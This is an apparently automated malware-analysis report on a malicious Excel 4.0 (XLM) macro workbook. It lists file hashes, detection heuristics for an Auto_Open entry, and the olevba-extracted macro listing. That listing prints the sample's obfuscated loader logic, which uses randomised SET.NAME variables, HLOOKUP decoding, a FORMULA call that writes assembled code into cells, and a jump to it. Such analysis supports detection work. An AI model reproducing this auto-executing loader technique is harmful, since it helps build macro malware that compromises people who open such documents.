Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6254754a5bc72d58…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:44:31 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: ea9a04ef8e408a2c6b45fe9e1a011b40 SHA-1: 936e3205fc8d1317d8006b6c16cae2be6a165668 SHA-256: 6254754a5bc72d58f6e6a5e93abf3889ec6affcf1a42792c13d73f759106d724
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6629 bytes
SHA-256: c980489016d0943a3dfc6a1c6d13cc8ec49a81508bc16aab9949a9552ede77a0
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GXFiaYrF
' 0018     25 LABEL : Cell Value, String Constant - ahXrrRxbUU len=0 
' 0018     21 LABEL : Cell Value, String Constant - aOGghq len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F172 
' 0018     22 LABEL : Cell Value, String Constant - bYtckAP len=0 
' 0018     22 LABEL : Cell Value, String Constant - DEROxLQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - DsKJa len=0 
' 0018     22 LABEL : Cell Value, String Constant - hqHVNmM len=0 
' 0018     21 LABEL : Cell Value, String Constant - iaaHaQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - JMlnrueY len=0 
' 0018     23 LABEL : Cell Value, String Constant - JqzHYEsV len=0 
' 0018     25 LABEL : Cell Value, String Constant - JSRrkVGNDy len=0 
' 0018     22 LABEL : Cell Value, String Constant - nYaCvzX len=0 
' 0018     21 LABEL : Cell Value, String Constant - UcIXgP len=0 
' 0018     22 LABEL : Cell Value, String Constant - uLEsRmq len=0 
' 0018     20 LABEL : Cell Value, String Constant - UsbBN len=0 
' 0018     23 LABEL : Cell Value, String Constant - VfMpFwvo len=0 
' 0018     22 LABEL : Cell Value, String Constant - VPIeQto len=0 
' 0018     27 LABEL : Cell Value, String Constant - wXLHAJmvCJqy len=0 
' 0018     24 LABEL : Cell Value, String Constant - xqNTTLQdy len=0 
' 0018     25 LABEL : Cell Value, String Constant - yaDENzXExc len=0 
' 0018     24 LABEL : Cell Value, String Constant - zvivypJbg len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GXFiaYrF,F87,"SET.NAME("ahXrrRxbUU",VALUE("0"))",""
'  GXFiaYrF,F89,"SET.NAME("xqNTTLQdy",ahXrrRxbUU)",""
'  GXFiaYrF,F94,"SET.NAME("UsbBN",ahXrrRxbUU)",""
'  GXFiaYrF,F96,"SET.NAME("iaaHaQ",COUNTA(JSRrkVGNDy))",""
'  GXFiaYrF,F100,"SET.NAME("aOGghq",COUNTA(JMlnrueY))",""
'  GXFiaYrF,F103,[],""
'  GXFiaYrF,F105,"SET.NAME("DsKJa","")",""
'  GXFiaYrF,F107,"xqNTTLQdy",""
'  GXFiaYrF,F112,"SET.NAME("yaDENzXExc",HLOOKUP("*",JSRrkVGNDy,xqNTTLQdy,FALSE))",""
'  GXFiaYrF,F116,"DEROxLQ",""
'  GXFiaYrF,F119,"SET.NAME("bYtckAP",ahXrrRxbUU)",""
'  GXFiaYrF,F124,[],""
'  GXFiaYrF,F129,"bYtckAP",""
'  GXFiaYrF,F132,"VfMpFwvo",""
'  GXFiaYrF,F134,"VPIeQto",""
'  GXFiaYrF,F137,"JqzHYEsV",""
'  GXFiaYrF,F140,"SET.NAME("nYaCvzX",VALUE(HLOOKUP("*",JMlnrueY,JqzHYEsV,FALSE)))",""
'  GXFiaYrF,F143,"UcIXgP",""
'  GXFiaYrF,F147,"DsKJa",""
'  GXFiaYrF,F149,"UsbBN",""
'  GXFiaYrF,F153,NEXT(),""
'  GXFiaYrF,F156,"uLEsRmq",""
'  GXFiaYrF,F158,"SET.NAME("f",INT(T(FORMULA(T(DsKJa)&"",""&T(uLEsRmq)))))",""
'  GXFiaYrF,F160,"zvivypJbg",""
'  GXFiaYrF,F164,NEXT(),""
'  GXFiaYrF,F169,RETURN(),""
'  GXFiaYrF,F189,"SET.NAME("wXLHAJmvCJqy",F87)",""
'  GXFiaYrF,F192,"JSRrkVGNDy",""
'  GXFiaYrF,F194,"SET.NAME("JMlnrueY",R60C11)",""
'  GXFiaYrF,F198,"SET.NAME("zvivypJbg",208)",""
'  GXFiaYrF,F203,"SET.NAME("hqHVNmM",6)",""
'  GXFiaYrF,F207,wXLHAJmvCJqy(),""
'  GXFiaYrF,F208,HALT(),""